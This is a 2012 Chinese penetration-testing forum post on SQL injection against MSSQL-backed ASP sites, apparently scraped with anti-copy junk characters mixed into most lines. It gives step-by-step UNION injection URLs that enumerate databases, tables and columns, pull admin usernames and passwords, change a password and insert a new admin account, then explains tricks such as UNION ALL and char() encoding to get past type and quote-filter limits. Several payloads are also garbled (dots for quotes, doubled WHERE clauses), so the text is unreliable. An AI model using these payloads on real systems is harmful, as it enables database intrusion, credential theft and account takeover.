中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:
- {6 F. \# E. V3 j- T; ^http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--" r# @+ y8 M% n% o' C
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.; D0 E8 I4 M& R: A/ z3 Q
爆下一个库:2 D3 J/ A% ?& v" w4 l: q
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
6 i' w4 k" D% R' a  U: f& N+ z3 f$ U. c! L2 H0 F1 P# v7 m
爆表:- n# ~' N9 W" a/ z2 k" h3 Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
; i7 n7 D$ a7 \: c9 `7 y
& J0 m) _5 g, mSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
! M1 D3 p% S- {7 k6 h. l! Y# p# u: j/ N" C7 a& w
爆下一个表
0 B+ c3 Z8 P& K* {http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
6 K& B# s$ Z9 T; _2 I2 o: k8 s" H
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
' I7 v. w. I2 }" y& X+ k' v. @& C$ Q& b7 C0 `7 I# L
$ u" j; U- Y0 J
' R6 v9 L  r5 e5 f9 G8 h
爆字段:5 h! Z* R4 P' C- M" p5 S5 D0 {* v
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--# @. t- f: _  A( r

- R  S$ K" `3 t爆下一个字段& n. c" a$ t) i. x
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
( o: T1 ?; n$ F5 b. J- x6 k  T- B5 o4 h! j8 }
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--4 F7 K+ C: O' h( m( Z# Z9 e5 q/ `; n
1 {9 G# {, `2 p- A& b

3 p' j" Y7 {& D* {5 d爆字段里的内容1 Y: Q! a  T( B2 v1 {4 H( V$ e
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--5 y5 @1 g; v) I+ \/ m( }7 L: d

$ m+ r  _, c2 C7 ^3 {# N. thttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
& b. S2 E( I3 Y& T( x5 J# D5 B
0 c: W8 j/ G" f0 u% a/ u  Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
/ P" h  [# H1 u: h* S1 [& K  ]! s$ P. o; W6 K% ]" `6 o
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
& R1 f" P) T- A- j8 _3 l( Y9 t, A/ u( i3 l* p* ~
更新字段里的内容7 r* ~0 w3 @, d* V6 H$ b& e& T
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--2 w8 ?) z: Z% s, K

9 ?. C5 h4 I" o* s: U/ R, [http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
$ j6 o, c1 F* s* x( K& b$ ~: D7 Q

0 W/ {6 h/ L% e' e
4 Q! x1 m% e3 \+ Y% M        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。3 x6 Y5 j& I1 o0 H" F/ _
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。9 Q% |  K6 C3 ?+ [7 e! R) I7 b
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
7 ~) o# C5 G9 [4 q    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
2 P; [; K4 l, p- w0 K% c  o
* c( c: X" x, c* a2 J突了了大部份限制的语句
0 v+ T) c' @) y* h! zand 1=2 union all select char(49),char(50),null,null;--
& z' Z$ i. c) x, [; t
& p6 L( Q) k1 F9 c1 z2 |2 w$ I9 w" q9 x/ F/ L; ^4 u! F
null也可以正常执行,不过没有回显,不好判断回显的列数。
( u5 s/ ^0 r; n一般union遇到问题都是有text或者ntext字段,image的很少遇到5 W7 u4 S. U8 n0 ^
& f- z! u5 O4 D% ^
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟& C* A/ ^, B. P6 U* E7 ]  l' e

2 J" a4 X1 m. @- J
" N8 [, Z( J( C3 [* j9 j/ @3 n. A




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2